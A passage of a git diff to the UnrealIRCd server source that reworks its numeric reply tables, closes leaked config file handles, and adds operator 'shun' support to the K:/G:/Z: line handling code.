+/* 987 */ NULL, +/* 988 */ NULL, +/* 989 */ NULL, +/* 990 */ NULL, +/* 991 */ NULL, +/* 992 */ NULL, +/* 993 */ NULL, +/* 994 */ NULL, +/* 995 */ NULL, +/* 996 */ NULL, +/* 997 */ NULL, +/* 998 */ NULL, +/* 999 ERR_NUMERICERR */ ":%s 999 %s Numeric error!", +/* 1000 */ NULL, }; -static Numeric numeric_replies[] = { -/* 300 */ RPL_NONE, (char *)NULL, -/* 301 */ RPL_AWAY, "%s :%s", -/* 302 */ RPL_USERHOST, ":", -/* 303 */ RPL_ISON, ":", -/* 304 */ RPL_TEXT, (char *)NULL, -/* 305 */ RPL_UNAWAY, ":You are no longer marked as being away", -/* 306 */ RPL_NOWAWAY, ":You have been marked as being away", -/* 307 */ RPL_WHOISREGNICK, "%s :is a registered nick", -/* 308 */ RPL_RULESSTART, ":- %s Server Rules - ", -/* 309 */ RPL_ENDOFRULES, ":End of RULES command.", -/* 310 */ RPL_WHOISHELPOP, "%s :is available for help.", -/* 311 */ RPL_WHOISUSER, "%s %s %s * :%s", -/* 312 */ RPL_WHOISSERVER, "%s %s :%s", -/* 313 */ RPL_WHOISOPERATOR, "%s :is %s on %s", -/* 314 */ RPL_WHOWASUSER, "%s %s %s * :%s", -/* 315 */ RPL_ENDOFWHO, "%s :End of /WHO list.", -/* 316 */ RPL_WHOISCHANOP, (char *)NULL, -/* 317 */ RPL_WHOISIDLE, "%s %ld %ld :seconds idle, signon time", -/* 318 */ RPL_ENDOFWHOIS, "%s :End of /WHOIS list.", -/* 319 */ RPL_WHOISCHANNELS, "%s :%s", - RPL_WHOISSPECIAL, "%s :%s", -/* 321 */ RPL_LISTSTART, "Channel :Users Name", -/* 322 */ RPL_LIST, "%s %d :%s", -/* 323 */ RPL_LISTEND, ":End of /LIST", -/* 324 */ RPL_CHANNELMODEIS, "%s %s %s", - 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, -/* 329 */ RPL_CREATIONTIME, "%s %lu", - 0, (char *)NULL, -/* 331 */ RPL_NOTOPIC, "%s :No topic is set.", -/* 332 */ RPL_TOPIC, "%s :%s", -/* 333 */ RPL_TOPICWHOTIME, "%s %s %lu", -/* 334 */ RPL_LISTSYNTAX, ":%s", -/* 335 */ RPL_WHOISBOT, "%s :is a \2Bot\2 on %s", - 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, -/* 341 */ RPL_INVITING, "%s %s", -/* 342 */ RPL_SUMMONING, "%s :User summoned to irc", - 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, - RPL_INVITELIST, "%s %s", - RPL_ENDOFINVITELIST, "%s :End of Channel Invite List", - RPL_EXLIST, "%s %s %s %lu", - RPL_ENDOFEXLIST, "%s :End of Channel Exception List", - 0, (char *)NULL, -/* 351 */ RPL_VERSION, "%s(%s).%s %s :%s [%s=%li%s]", -/* 352 */ RPL_WHOREPLY, "%s %s %s %s %s %s :%d %s", -/* 353 */ RPL_NAMREPLY, "%s", - 354, ":Reserved for Undernet", - - 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, -/* 361 */ RPL_KILLDONE, (char *)NULL, -/* 362 */ RPL_CLOSING, "%s :Closed. Status = %d", -/* 363 */ RPL_CLOSEEND, "%d: Connections Closed", -/* 364 */ RPL_LINKS, "%s %s :%d %s", -/* 365 */ RPL_ENDOFLINKS, "%s :End of /LINKS list.", -/* 366 */ RPL_ENDOFNAMES, "%s :End of /NAMES list.", -/* 367 */ RPL_BANLIST, "%s %s %s %lu", -/* 368 */ RPL_ENDOFBANLIST, "%s :End of Channel Ban List", -/* 369 */ RPL_ENDOFWHOWAS, "%s :End of WHOWAS", - 0, (char *)NULL, -/* 371 */ RPL_INFO, ":%s", -/* 372 */ RPL_MOTD, ":- %s", -/* 373 */ RPL_INFOSTART, ":Server INFO", -/* 374 */ RPL_ENDOFINFO, ":End of /INFO list.", -/* 375 */ RPL_MOTDSTART, ":- %s Message of the Day - ", -/* 376 */ RPL_ENDOFMOTD, ":End of /MOTD command.", - 0, (char *)NULL, -/* 378 */ RPL_WHOISHOST, "%s :is connecting from *@%s", -/* 379 */ RPL_WHOISMODES, "%s is using modes %s", - 0, (char *)NULL, -/* 381 */ RPL_YOUREOPER, ":You are now an IRC Operator", -/* 382 */ RPL_REHASHING, "%s :Rehashing", -/* 383 */ RPL_YOURESERVICE, (char *)NULL, -/* 384 */ RPL_MYPORTIS, "%d :Port to local server is\r\n", -/* 385 */ RPL_NOTOPERANYMORE, (char *)NULL, -/* 356 */ RPL_QLIST, "%s %s", -/* 387 */ RPL_ENDOFQLIST, "%s :End of Channel Owner List", -/* 388 */ RPL_ALIST, "%s %s", -/* 389 */ RPL_ENDOFALIST, "%s :End of Protected User List", - 0, (char *)NULL, -/* 391 */ RPL_TIME, "%s :%s", -#ifdef ENABLE_USERS -/* 392 */ RPL_USERSSTART, ":UserID Terminal Host", -/* 393 */ RPL_USERS, ":%-8s %-9s %-8s", -/* 394 */ RPL_ENDOFUSERS, ":End of Users", -/* 395 */ RPL_NOUSERS, ":Nobody logged in.", -#else - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, -#endif - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, -/* 200 */ RPL_TRACELINK, "Link %s%s %s %s", -/* 201 */ RPL_TRACECONNECTING, "Attempt %d %s", -/* 202 */ RPL_TRACEHANDSHAKE, "Handshaking %d %s", -/* 203 */ RPL_TRACEUNKNOWN, "???? %d %s", -/* 204 */ RPL_TRACEOPERATOR, "Operator %d %s [%s] %ld", -/* 205 */ RPL_TRACEUSER, "User %d %s [%s] %ld", -/* 206 */ RPL_TRACESERVER, "Server %d %dS %dC %s %s!%s@%s %ld", -/* 207 */ RPL_TRACESERVICE, "Service %d %s", -/* 208 */ RPL_TRACENEWTYPE, " 0 %s", -/* 209 */ RPL_TRACECLASS, "Class %d %d", - 0, (char *)NULL, -/* 211 */ RPL_STATSLINKINFO, (char *)NULL, -#ifdef DEBUGMODE -/* 212 */ RPL_STATSCOMMANDS, "%s %u %u %u %u %u %u", -#else -/* 212 */ RPL_STATSCOMMANDS, "%s %u %u", -#endif -/* 213 */ RPL_STATSCLINE, "%c %s * %s %d %d", - 0, (char *)NULL, -/* 215 */ RPL_STATSILINE, "%c %s * %s %d %d", -/* 216 */ RPL_STATSKLINE, "%c %s %s %s %d %d", -/* 217 */ RPL_STATSQLINE, "%c %s %s %s %d %d", -/* 218 */ RPL_STATSYLINE, "%c %d %d %d %d %ld", -/* 219 */ RPL_ENDOFSTATS, "%c :End of /STATS report", -/* 220 */ RPL_STATSBLINE, "%c %s %s %s %d %d", -/* 221 */ RPL_UMODEIS, "%s", -/* 222 */ RPL_SQLINE_NICK, "%s :%s", -/* 223 */ RPL_STATSGLINE, "%c %s@%s %li %li %s :%s", -/* 224 */ RPL_STATSTLINE, "T %s %s %s", -/* 225 */ RPL_STATSELINE, "e %s %s %s", -/* 226 */ RPL_STATSNLINE, "n %s %s", - 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, -/* 231 */ RPL_SERVICEINFO, (char *)NULL, -/* 232 */ RPL_RULES, ":- %s", -/* 233 */ RPL_SERVICE, (char *)NULL, -/* 234 */ RPL_SERVLIST, (char *)NULL, -/* 235 */ RPL_SERVLISTEND, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, -/* 241 */ RPL_STATSLLINE, "%c %s * %s %d %d", -/* 242 */ RPL_STATSUPTIME, ":Server Up %d days, %d:%02d:%02d", -/* 243 */ RPL_STATSOLINE, "%c %s * %s %s %d", -/* 244 */ RPL_STATSHLINE, "%c %s * %s %d %d", -/* 245 */ RPL_STATSSLINE, "%c %s * %s %d %d", - 0, (char *)NULL, -/* 247 */ RPL_STATSXLINE, "X %s %d", -/* 248 */ RPL_STATSULINE, "%c %s * %s %d %d", - 0, (char *)NULL, -/* 250 */ RPL_STATSCONN, - ":Highest connection count: %d (%d clients)", -/* 251 */ RPL_LUSERCLIENT, - ":There are %d users and %d invisible on %d servers", -/* 252 */ RPL_LUSEROP, "%d :operator(s) online", -/* 253 */ RPL_LUSERUNKNOWN, "%d :unknown connection(s)", -/* 254 */ RPL_LUSERCHANNELS, "%d :channels formed", -/* 255 */ RPL_LUSERME, ":I have %d clients and %d servers", -/* 256 */ RPL_ADMINME, ":Administrative info about %s", -/* 257 */ RPL_ADMINLOC1, ":%s", -/* 258 */ RPL_ADMINLOC2, ":%s", -/* 259 */ RPL_ADMINEMAIL, ":%s", - 0, (char *)NULL, -/* 261 */ RPL_TRACELOG, "File %s %d", - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, -/* 265 */ RPL_LOCALUSERS, ":Current Local Users: %d Max: %d", -/* 266 */ RPL_GLOBALUSERS, ":Current Global Users: %d Max: %d", - 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, -/* 271 */ RPL_SILELIST, "%s %s", -/* 272 */ RPL_ENDOFSILELIST, ":End of Silence List", - 0, (char *)NULL, 0, (char *)NULL, -/* 275 */ RPL_STATSDLINE, "%c %s %s", - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, -/* 294 */ RPL_HELPFWD, - ":Your help-request has been forwarded to Help Operators", -/* 295 */ RPL_HELPIGN, ":Your address has been ignored from forwarding" -}; - -/* - * NOTE: Unlike the others, this one goes strait through, 600-799 - */ -static Numeric numeric_replies2[] = { -/* 600 */ RPL_LOGON, "%s %s %s %d :logged online", -/* 601 */ RPL_LOGOFF, "%s %s %s %d :logged offline", -/* 602 */ RPL_WATCHOFF, "%s %s %s %d :stopped watching", -/* 603 */ RPL_WATCHSTAT, ":You have %d and are on %d WATCH entries", -/* 604 */ RPL_NOWON, "%s %s %s %d :is online", -/* 605 */ RPL_NOWOFF, "%s %s %s %d :is offline", -/* 606 */ RPL_WATCHLIST, ":%s", -/* 607 */ RPL_ENDOFWATCHLIST, ":End of WATCH %c", - -/* 610 */ RPL_MAPMORE, ":%s%-*s --> *more*", -/* 611 */ 0, (char *)NULL, -/* 612 */ 0, (char *)NULL, -/* 613 */ 0, (char *)NULL, -/* 614 */ 0, (char *)NULL, -/* 615 */ 0, (char *)NULL, -/* 616 */ 0, (char *)NULL, -/* 617 */ 0, (char *)NULL, -/* 618 */ 0, (char *)NULL, -/* 619 */ 0, (char *)NULL, -/* 620 */ 0, (char *)NULL, -/* 621 */ 0, (char *)NULL, -/* 622 */ 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, - 0, (char *)NULL, -/* 640 */ RPL_DUMPING, ":Dumping clients matching %s", -/* 641 */ RPL_DUMPRPL, "%s %s %s %s %s%s%s%s", -/* 642 */ RPL_EODUMP, ":End of /dusers - %i", - 0, (char *)NULL, - 0, (char *)NULL -}; - -char *err_str(numeric) - int numeric; -{ - Numeric *nptr; - int num = numeric; - - num -= numeric_errors[0].num_val; - if (num < 0 || num > ERR_NEEDPONG) - (void)ircsprintf(numbuff, - ":%%s %d %%s :INTERNAL ERROR: BAD NUMERIC! %d", - numeric, num); +char *getreply(int numeric) { + if((numeric<0 || numeric>999) || !replies[numeric]) + return(replies[ERR_NUMERICERR]); else - { - nptr = &numeric_errors[num]; - if (!nptr->num_form || !nptr->num_val) - (void)ircsprintf(numbuff, - ":%%s %d %%s :NO ERROR FOR NUMERIC ERROR %d", - numeric, num); - else - (void)prepbuf(numbuff, nptr->num_val, nptr->num_form); - } - return numbuff; -} - - -char *rpl_str(numeric) - int numeric; -{ - Numeric *nptr; - int num = numeric; - - if (num > 99) - num -= (num > 300) ? 300 : 100; - - if ((num < 0 || num > 200) && (num < 300 || num > 499)) - (void)ircsprintf(numbuff, - ":%%s %d %%s :INTERNAL REPLY ERROR: BAD NUMERIC! %d", - numeric, num); - else - { - if (numeric > 599) - { - num -= 300; - nptr = &numeric_replies2[num]; - } - else if (numeric > 99) - nptr = &numeric_replies[num]; - else - nptr = &local_replies[num]; - Debug((DEBUG_NUM, "rpl_str: numeric %d num %d nptr %x %d %x", - numeric, num, nptr, nptr->num_val, nptr->num_form)); - if (!nptr->num_form || !nptr->num_val) - (void)ircsprintf(numbuff, - ":%%s %d %%s :NO REPLY FOR NUMERIC ERROR %d", - numeric, num); - else - (void)prepbuf(numbuff, nptr->num_val, nptr->num_form); - } - return numbuff; -} - -static char *prepbuf(buffer, num, tail) - char *buffer; - int num; - char *tail; -{ - char *s; - - (void)strcpy(buffer, ":%s "); - s = buffer + 4; - - *s++ = numbers[num / 100]; - num %= 100; - *s++ = numbers[num / 10]; - *s++ = numbers[num % 10]; - (void)strcpy(s, " %s "); - (void)strcpy(s + 4, tail); - return buffer; + return(replies[numeric]); } /* this was the old RPL_MYINFO line .... diff --git a/src/s_extra.c b/src/s_extra.c index 6425bb989..5fe0ed742 100644 --- a/src/s_extra.c +++ b/src/s_extra.c @@ -60,7 +60,6 @@ ID_Copyright("(C) Carsten Munk 1999"); aFline *flines = NULL; aCRline *crlines = NULL; aVhost *vhosts = NULL; -aHush *hushes = NULL; char *cannotjoin_msg = NULL; @@ -285,6 +284,7 @@ int dcc_loadconf(void) dcc_add_fline(y, z, 0); } } + fclose(f); return 0; } @@ -548,6 +548,7 @@ int cr_loadconf(void) } } + fclose(f); return 0; } @@ -688,6 +689,7 @@ int vhost_loadconf(void) vhost_add(y, login, password, usermask, hostmask); } } + fclose(f); return 0; } @@ -796,61 +798,6 @@ int m_vhost(cptr, sptr, parc, parv) return 0; } -/* hush */ -#ifdef MOO -int hush_add(vhost, login, password, usermask, hostmask) - char *vhost, *login, *password, *usermask, *hostmask; -{ - aHush *fl; - - fl = (aHush *) MyMalloc(sizeof(aHush)); - - AllocCpy(fl->virthost, vhost); - AllocCpy(fl->usermask, usermask); - AllocCpy(fl->hostmask, hostmask); - AllocCpy(fl->login, login); - AllocCpy(fl->password, password); - fl->next = vhosts; - fl->prev = NULL; - if (vhosts) - vhosts->prev = fl; - vhosts = fl; -} - -aVhost *vhost_del(fl) - aVhost *fl; -{ - aVhost *p, *q; - for (p = vhosts; p; p = p->next) - { - if (p == fl) - { - q = p->next; - MyFree((char *)(fl->virthost)); - MyFree((char *)(fl->usermask)); - MyFree((char *)(fl->hostmask)); - MyFree((char *)(fl->login)); - MyFree((char *)(fl->password)); - /* chain1 to chain3 */ - if (p->prev) - { - p->prev->next = p->next; - } - else - { - vhosts = p->next; - } - if (p->next) - { - p->next->prev = p->prev; - } - MyFree((aVhost *) p); - return q; - } - } - return NULL; -} -#endif /* irc logs.. */ void ircd_log(char *format, ...) { diff --git a/src/s_kline.c b/src/s_kline.c index 6633543a7..863e97b95 100644 --- a/src/s_kline.c +++ b/src/s_kline.c @@ -1,7 +1,6 @@ -/************************************************************************ -/************************************************************************ +/* * Unreal Internet Relay Chat Daemon, src/s_kline.c - * (C) 1999 Carsten Munk (Techie/Stskeeps) + * (C) 1999-2000 Carsten Munk (Techie/Stskeeps) * File to take care of dynamic K:/G:/Z: lines * * @@ -125,7 +124,10 @@ aTKline *tkl_del_line(tkl) aTKline *tkl_expire(aTKline * tmp) { char whattype[512]; - + long i, i1; + char *chost, *cname, *cip; + int is_ip; + aClient *acptr; if (!tmp) return NULL; @@ -149,6 +151,8 @@ aTKline *tkl_expire(aTKline * tmp) { strcpy(whattype, "Global Z:Line"); } + else if (tmp->type & TKL_SHUN) + strcpy(whattype, "Shun"); } else { @@ -160,6 +164,8 @@ aTKline *tkl_expire(aTKline * tmp) { strcpy(whattype, "Timed Z:Line"); } + else if (tmp->type & TKL_SHUN) + strcpy(whattype, "Local Shun"); } sendto_umode(UMODE_EYES, "*** Expiring %s (%s@%s) made by %s (Reason: %s) set %li seconds ago", @@ -171,6 +177,40 @@ aTKline *tkl_expire(aTKline * tmp) whattype, tmp->usermask, tmp->hostmask, tmp->setby, tmp->reason, TStime() - tmp->set_at); + if (tmp->type & TKL_SHUN) + { + for (i1 = 0; i1 <= 5; i1++) + { + for (i = 0; i <= (MAXCONNECTIONS - 1); i++) + { + if (acptr = local[i]) + if (MyClient(acptr) && IsShunned(acptr)) + { + chost = acptr->sockhost; + cname = acptr->user->username; + + cip = (char *)inet_ntoa(acptr->ip); + + + if (!(*tmp->hostmask < '0') && (*tmp->hostmask > '9')) + is_ip = 1; + else + is_ip = 0; + + if (is_ip == 0 ? (!match(tmp->hostmask, chost) + && !match(tmp->usermask, cname)) : (!match(tmp->hostmask, + chost) || !match(tmp->hostmask, cip)) + && !match(tmp->usermask, cname)) + { + ClearShunned(acptr); + sendto_one(acptr, ":%s NOTICE %s :*** You are no longer shunned",me.name, acptr->name); + } + } + } + } + } + + return (tkl_del_line(tmp)); } @@ -207,6 +247,7 @@ int find_tkline_match(cptr, xx) time_t nowtime; int is_ip; char msge[1024]; + char gmt2[256]; if (IsServer(cptr) || IsMe(cptr)) return -1; @@ -221,7 +262,7 @@ int find_tkline_match(cptr, xx) for (lp = tklines; lp; lp = lp->next) { - if (!(*lp->hostmask < '0') && (*lp->hostmask > '9')) + if (*lp->hostmask >= '0' && *lp->hostmask <= '9') is_ip = 1; else is_ip = 0; @@ -229,13 +270,14 @@ int find_tkline_match(cptr, xx) if (is_ip == 0 ? (!match(lp->hostmask, chost) && !match(lp->usermask, cname)) : (!match(lp->hostmask, chost) || !match(lp->hostmask, cip)) - && !match(lp->usermask, cname)) + && !match(lp->usermask, cname) && (xx != 2 || !match(lp->usermask, cname))) { - ircstp->is_ref++; + if ((lp->type & (TKL_KILL)) && (xx != 2)) { if (lp->type & TKL_GLOBAL) { + ircstp->is_ref++; sendto_one(cptr, "NOTICE %s :*** You are banned for %li seconds (%s)", cptr->name, @@ -249,6 +291,7 @@ int find_tkline_match(cptr, xx) } else { + ircstp->is_ref++; sendto_one(cptr, "NOTICE %s :*** You are banned for %li seconds (%s)", cptr->name, @@ -262,6 +305,7 @@ int find_tkline_match(cptr, xx) } else if (lp->type & (TKL_ZAP)) { + ircstp->is_ref++; ircsprintf(msge, "ERROR :Closing Link: [%s] Z:Lined (%s)\r\n", #ifndef INET6 @@ -273,6 +317,32 @@ int find_tkline_match(cptr, xx) strcpy(zlinebuf, msge); return (1); } + else if (lp->type & (TKL_SHUN)) + { + if (IsShunned(cptr)) + return -1; + if (IsAdmin(cptr)) + return -1; + SetShunned(cptr); +#ifndef __OpenBSD__ + strncpy(gmt2, asctime(gmtime((clock_t *) &lp->expire_at)), + sizeof(gmt2)); + +#else + strncpy(gmt2, asctime(gmtime((time_t *) &lp->expire_at)), + sizeof(gmt2)); + +#endif + gmt2[strlen(gmt2) - 1] = '\0'; + if (lp->expire_at) + sendto_one(cptr, ":%s NOTICE %s :*** You have been shunned by %s until %s (Reason: %s)", + me.name, cptr->name, lp->setby, gmt2, lp->reason); + else + sendto_one(cptr, ":%s NOTICE %s :*** You have been shunned permanently by %s (Reason: %s)", + me.name, cptr->name, lp->setby, lp->reason); + + return -1; + } } } return -1; @@ -298,6 +368,7 @@ int tkl_sweep() return 1; } + void tkl_stats(cptr) aClient *cptr; { @@ -318,37 +389,35 @@ void tkl_stats(cptr) { sendto_one(cptr, rpl_str(RPL_STATSGLINE), me.name, cptr->name, 'G', tk->usermask, tk->hostmask, - (tk->expire_at - curtime), (curtime - tk->set_at), + (tk->expire_at != 0) ? (tk->expire_at - curtime) : 0, (curtime - tk->set_at), tk->setby, tk->reason); } - } - for (tk = tklines; tk; tk = tk->next) - { if (tk->type == (TKL_ZAP | TKL_GLOBAL)) { sendto_one(cptr, rpl_str(RPL_STATSGLINE), me.name, cptr->name, 'Z', tk->usermask, tk->hostmask, - (tk->expire_at - curtime), (curtime - tk->set_at), + (tk->expire_at != 0) ? (tk->expire_at - curtime) : 0, (curtime - tk->set_at), + tk->setby, tk->reason); + } + if (tk->type == (TKL_SHUN | TKL_GLOBAL)) + { + sendto_one(cptr, rpl_str(RPL_STATSGLINE), me.name, + cptr->name, 's', tk->usermask, tk->hostmask, + (tk->expire_at != 0) ? (tk->expire_at - curtime) : 0, (curtime - tk->set_at), tk->setby, tk->reason); } - } - for (tk = tklines; tk; tk = tk->next) - { if (tk->type == (TKL_KILL)) { sendto_one(cptr, rpl_str(RPL_STATSGLINE), me.name, cptr->name, 'K', tk->usermask, tk->hostmask, - (tk->expire_at - curtime), (curtime - tk->set_at), + (tk->expire_at != 0) ? (tk->expire_at - curtime) : 0, (curtime - tk->set_at), tk->setby, tk->reason); } - } - for (tk = tklines; tk; tk = tk->next) - { if (tk->type == (TKL_ZAP)) { sendto_one(cptr, rpl_str(RPL_STATSGLINE), me.name, cptr->name, 'z', tk->usermask, tk->hostmask, - (tk->expire_at - curtime), (curtime - tk->set_at), + (tk->expire_at != 0) ? (tk->expire_at - curtime) : 0, (curtime - tk->set_at), tk->setby, tk->reason); } } @@ -358,7 +427,7 @@ void tkl_stats(cptr) void tkl_synch(aClient *sptr) { aTKline *tk; - + char typ; for (tk = tklines; tk; tk = tk->next) { @@ -370,12 +439,20 @@ void tkl_synch(aClient *sptr) tk->usermask, tk->hostmask, tk->expire_at, tk->set_at, tk->setby, tk->reason); else + { + if (tk->type & TKL_KILL) + typ = 'G'; + if (tk->type & TKL_ZAP) + typ = 'Z'; + if (tk->type & TKL_SHUN) + typ = 's'; sendto_one(sptr, - ":%s %s + %s %s %s %s %li %li :%s", me.name, + ":%s %s + %c %s %s %s %li %li :%s", me.name, IsToken(sptr) ? TOK_TKL : MSG_TKL, - (tk->type & TKL_KILL ? "G" : "Z"), + typ, tk->usermask, tk->hostmask, tk->setby, tk->expire_at, tk->set_at, tk->reason); + } } } } @@ -430,8 +507,9 @@ int m_tkl(cptr, sptr, parc, parv) type = TKL_ZAP; else if (parv[2][0] == 'k') type = TKL_KILL; - else - return 0; + else if (parv[2][0] == 's') + type = TKL_SHUN |TKL_GLOBAL; + else return 0; found = 0; for (tk = tklines; tk; tk = tk->next) @@ -457,11 +535,21 @@ int m_tkl(cptr, sptr, parc, parv) tkl_add_line(type, parv[3], parv[4], parv[8], parv[5], expiry_1, setat_1); - +#ifndef __OpenBSD__ strncpy(gmt, asctime(gmtime((clock_t *) & setat_1)), - sizeof(gmt)); + sizeof(gmt)); +#else + strncpy(gmt, asctime(gmtime((time_t *)& setat_1)), + sizeof(gmt)); +#endif + +#ifndef __OpenBSD__ strncpy(gmt2, asctime(gmtime((clock_t *) & expiry_1)), sizeof(gmt2)); +#else + strncpy(gmt2, asctime(gmtime((time_t *) & expiry_1)), + sizeof(gmt2)); +#endif gmt[strlen(gmt) - 1] = '\0'; gmt2[strlen(gmt2) - 1] = '\0'; @@ -479,16 +567,28 @@ int m_tkl(cptr, sptr, parc, parv) case TKL_ZAP | TKL_GLOBAL: strcpy(txt, "Global Z:line"); break; + case TKL_SHUN | TKL_GLOBAL: + strcpy(txt, "Shun"); + break; default: strcpy(txt, "Unknown *:Line"); } - + if (expiry_1 != 0) { sendto_umode(UMODE_EYES, "*** %s added for %s@%s on %s GMT (from %s to expire at %s GMT: %s)", txt, parv[3], parv[4], gmt, parv[5], gmt2, parv[8]); ircd_log ("%s added for %s@%s on %s GMT (from %s to expire at %s GMT: %s)", txt, parv[3], parv[4], gmt, parv[5], gmt2, parv[8]); + } + else { + sendto_umode(UMODE_EYES, + "*** Permanent %s added for %s@%s on %s GMT (from %s: %s)", txt, parv[3], parv[4], + gmt, parv[5], parv[8]); + ircd_log + ("Permanent %s added for %s@%s on %s GMT (from %s: %s)", txt, parv[3], parv[4], + gmt, parv[5], parv[8]); + } tkl_sweep(); if (type & TKL_GLOBAL) { @@ -515,8 +615,9 @@ int m_tkl(cptr, sptr, parc, parv) type = TKL_ZAP; else if (*parv[2] == 'k') type = TKL_KILL; - else - return 0; + else if (*parv[2] == 's') + type = TKL_SHUN | TKL_GLOBAL; + else return 0; switch (type) { @@ -532,6 +633,9 @@ int m_tkl(cptr, sptr, parc, parv) case TKL_ZAP | TKL_GLOBAL: strcpy(txt, "Global Z:line"); break; + case TKL_SHUN | TKL_GLOBAL: + strcpy(txt, "Shun"); + break; default: strcpy(txt, "Unknown *:Line"); } @@ -544,9 +648,15 @@ int m_tkl(cptr, sptr, parc, parv) if (!strcmp(tk->hostmask, parv[4]) && !strcmp(tk->usermask, parv[3])) { +#ifndef __OpenBSD__ strncpy(gmt, asctime(gmtime((clock_t *) & tk->set_at)), sizeof(gmt)); +#else + strncpy(gmt, + asctime(gmtime((time_t *) & + tk->set_at)), sizeof(gmt)); +#endif gmt[strlen(gmt) - 1] = '\0'; sendto_umode(UMODE_EYES, "%s removed %s %s@%s (set at %s - reason: %s)", @@ -713,7 +823,7 @@ int m_gline(aClient *cptr, aClient *sptr, int parc, char *parv[]) for (tk = tklines; tk; tk = tk->next) { - if (tk->type = (TKL_GLOBAL | TKL_KILL)) + if (tk->type == (TKL_GLOBAL | TKL_KILL)) { if (!match(tk->hostmask, usermask) && !match(tk->usermask, hostmask)) @@ -741,7 +851,7 @@ int m_gline(aClient *cptr, aClient *sptr, int parc, char *parv[]) if (whattodo == 0) { secs = atol(parv[2]); - if (secs < 1) + if (secs < 0) { sendto_one(sptr, ":%s NOTICE %s :*** [G:Line error] Please specify a positive value for time", @@ -757,6 +867,9 @@ int m_gline(aClient *cptr, aClient *sptr, int parc, char *parv[]) (IsHidden(sptr) ? sptr->user->virthost : sptr->user->realhost)); if (whattodo == 0) { + if (secs == 0) + ircsprintf(mo, "%li", secs); + else ircsprintf(mo, "%li", secs + TStime()); ircsprintf(mo2, "%li", TStime()); tkllayer[6] = mo; @@ -772,3 +885,204 @@ int m_gline(aClient *cptr, aClient *sptr, int parc, char *parv[]) } } + +/* +** m_shun (oper function - /TKL takes care of distribution) +** /gline [+|-]u@h mask time :reason +** +** parv[0] = sender +** parv[1] = [+|-]u@h mask +** parv[2] = for how long +** parv[3] = reason +*/ + +int m_shun(aClient *cptr, aClient *sptr, int parc, char *parv[]) +{ + aTKline *tk; + time_t secs; + int whattodo = 0; /* 0 = add 1 = del */ + int found = 0; + int i; + aClient *acptr; + char *mask = NULL; + char mo[1024], mo2[1024], mo3[512]; + char *p, *usermask, *hostmask; + char *tkllayer[9] = { + me.name, /*0 server.name */ + NULL, /*1 +|- */ + "s", /*2 s */ + NULL, /*3 user */ + NULL, /*4 host */ + NULL, /*5 setby */ + NULL, /*6 expire_at */ + NULL, /*7 set_at */ + NULL /*8 reason */ + }; + + if (parc == 1) + { + tkl_stats(sptr); + return 0; + } + + if (!IsOper(sptr)) + { + sendto_one(sptr, err_str(ERR_NOPRIVILEGES), me.name, + sptr->name); + return 0; + } + + if (parc < 2) + { + sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS), + me.name, sptr->name, "SHUN"); + return; + } + + mask = parv[1]; + if (*mask == '-') + { + if (parc < 2) + { + sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS), + me.name, sptr->name, "SHUN"); + return; + } + whattodo = 1; + mask++; + } + else if (*mask == '+') + { + if (parc < 4) + { + sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS), + me.name, sptr->name, "SHUN"); + return; + } + whattodo = 0; + mask++; + } + if (whattodo == 0) + { + if (parc < 4) + { + sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS), + me.name, sptr->name, "SHUN"); + return; + } + } + + /* Check if its a hostmask and legal .. */ + p = strchr(mask, '@'); + if (!p || (p == mask)) + { + acptr = NULL; + if (!p && (whattodo == 0)) + { + acptr = find_person(mask, NULL); + if (acptr) + { + ircsprintf(mo3, "*@%s", acptr->user->realhost); + mask = mo3; + goto mm; + } + } + + sendto_one(sptr, + ":%s NOTICE %s :*** [Shun error] Please use a user@host mask or an existing nickname.", + me.name, sptr->name); + return 0; + } + + mm: + if (whattodo == 1) + goto nochecks; + if (p) + { + p++; + i = 0; + while (*p) + { + if (*p != '*' && *p != '.') + i++; + p++; + } + if (i < 4) + { + sendto_one(sptr, + ":%s NOTICE %s :*** [Shun error] Too broad mask", + me.name, sptr->name); + return 0; + } + } + + nochecks: + usermask = strtok(mask, "@"); + hostmask = strtok(NULL, "@"); + tkl_check_expire(); + + for (tk = tklines; tk; tk = tk->next) + { + if (tk->type == (TKL_GLOBAL | TKL_SHUN)) + { + if (!match(tk->hostmask, usermask) + && !match(tk->usermask, hostmask)) + { + found = 1; + break; + } + } + } + + if ((found == 1) && whattodo == 0) + { + sendto_one(sptr, + ":%s NOTICE %s :*** [Shun error] Match already exists!", + me.name, sptr->name); + return 0; + } + if ((found == 1) && whattodo == 1) + { + sendto_one(sptr, + ":%s NOTICE %s :*** [Shun error] No such Shun", me.name, + sptr->name); + return 0; + } + if (whattodo == 0) + { + secs = atol(parv[2]); + if (secs < 0) + { + sendto_one(sptr, + ":%s NOTICE %s :*** [Shun error] Please specify a positive value for time", + me.name, sptr->name); 